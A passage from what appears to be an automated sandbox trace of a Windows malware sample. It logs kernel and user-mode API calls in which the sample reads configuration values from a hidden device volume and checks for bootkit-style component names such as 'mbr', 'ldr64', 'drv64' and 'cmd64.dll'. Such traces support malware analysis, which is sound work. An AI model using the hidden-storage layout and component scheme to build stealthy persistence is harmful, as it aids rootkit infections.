FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.040] KeLeaveCriticalRegion () [0129.040] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.040] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.040] KeEnterCriticalRegion () [0129.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.040] ExFreePoolWithTag (P=0xfffffa8003c02120, Tag=0x0) [0129.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.040] KeLeaveCriticalRegion () [0129.040] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.040] ReleaseMutex (hMutex=0xf0) returned 1 [0129.040] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.040] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.040] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.040] KeEnterCriticalRegion () [0129.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.040] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.040] IdePortDispatch () returned 0x103 [0129.040] KeWaitForMutexObject () returned 0x0 [0129.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.040] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.040] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.040] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.040] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.040] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02f60 [0129.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] KeLeaveCriticalRegion () [0129.041] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.041] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.041] KeEnterCriticalRegion () [0129.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] KeLeaveCriticalRegion () [0129.041] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.041] KeEnterCriticalRegion () [0129.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.041] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.041] IdePortDispatch () returned 0x103 [0129.041] KeWaitForMutexObject () returned 0x0 [0129.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] KeLeaveCriticalRegion () [0129.041] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.041] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.041] KeEnterCriticalRegion () [0129.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b89000 [0129.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.041] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.041] IdePortDispatch () returned 0x103 [0129.042] KeWaitForMutexObject () returned 0x0 [0129.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.042] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.042] IdePortDispatch () returned 0x103 [0129.042] KeWaitForMutexObject () returned 0x0 [0129.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.042] KeLeaveCriticalRegion () [0129.042] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.043] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.043] KeEnterCriticalRegion () [0129.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] KeLeaveCriticalRegion () [0129.043] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.043] KeEnterCriticalRegion () [0129.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.043] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] KeLeaveCriticalRegion () [0129.043] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.043] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.043] KeEnterCriticalRegion () [0129.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] ExFreePoolWithTag (P=0xfffffa8003c02f60, Tag=0x0) [0129.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] KeLeaveCriticalRegion () [0129.043] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.043] ReleaseMutex (hMutex=0xf0) returned 1 [0129.043] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.043] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.043] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.043] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.043] KeEnterCriticalRegion () [0129.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.043] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.043] IdePortDispatch () returned 0x103 [0129.043] KeWaitForMutexObject () returned 0x0 [0129.044] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.044] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.044] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.044] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.044] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.044] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.044] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.044] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.044] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.044] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.044] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.044] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.044] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.044] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.044] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.044] KeLeaveCriticalRegion () [0129.044] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.044] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.044] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.044] KeEnterCriticalRegion () [0129.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.044] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.044] IdePortDispatch () returned 0x103 [0129.044] KeWaitForMutexObject () returned 0x0 [0129.044] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.044] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.044] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.045] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.045] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.045] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.045] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.045] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.045] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.045] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.045] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.045] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.045] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.045] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.045] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.045] KeLeaveCriticalRegion () [0129.045] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.045] ReleaseMutex (hMutex=0x100) returned 1 [0129.045] Sleep (dwMilliseconds=0x2bf20) [0129.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x701ee730, dwHighDateTime=0x1d24fa4)) [0129.052] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.052] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.052] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.052] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.052] KeEnterCriticalRegion () [0129.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.052] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.052] IdePortDispatch () returned 0x103 [0129.052] KeWaitForMutexObject () returned 0x0 [0129.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.053] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.053] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.053] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.053] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.053] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.053] KeLeaveCriticalRegion () [0129.053] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.053] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.053] KeEnterCriticalRegion () [0129.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.053] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.053] KeLeaveCriticalRegion () [0129.053] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.053] KeEnterCriticalRegion () [0129.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.053] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.053] IdePortDispatch () returned 0x103 [0129.053] KeWaitForMutexObject () returned 0x0 [0129.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.053] KeLeaveCriticalRegion () [0129.053] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.054] KeEnterCriticalRegion () [0129.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8c000 [0129.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.054] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.054] IdePortDispatch () returned 0x103 [0129.054] KeWaitForMutexObject () returned 0x0 [0129.054] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.054] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.054] IdePortDispatch () returned 0x103 [0129.054] KeWaitForMutexObject () returned 0x0 [0129.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.054] KeLeaveCriticalRegion () [0129.054] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.055] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.055] KeEnterCriticalRegion () [0129.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] KeLeaveCriticalRegion () [0129.055] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.055] KeEnterCriticalRegion () [0129.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] KeLeaveCriticalRegion () [0129.055] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.055] KeEnterCriticalRegion () [0129.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] KeLeaveCriticalRegion () [0129.055] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.055] ReleaseMutex (hMutex=0xf0) returned 1 [0129.055] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.055] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.055] KeEnterCriticalRegion () [0129.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.056] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.056] IdePortDispatch () returned 0x103 [0129.056] KeWaitForMutexObject () returned 0x0 [0129.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.056] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.056] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.056] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.056] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.056] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03db0 [0129.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.056] KeLeaveCriticalRegion () [0129.056] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.056] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.056] KeEnterCriticalRegion () [0129.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.056] KeLeaveCriticalRegion () [0129.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.056] KeEnterCriticalRegion () [0129.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.056] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.056] IdePortDispatch () returned 0x103 [0129.056] KeWaitForMutexObject () returned 0x0 [0129.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.057] 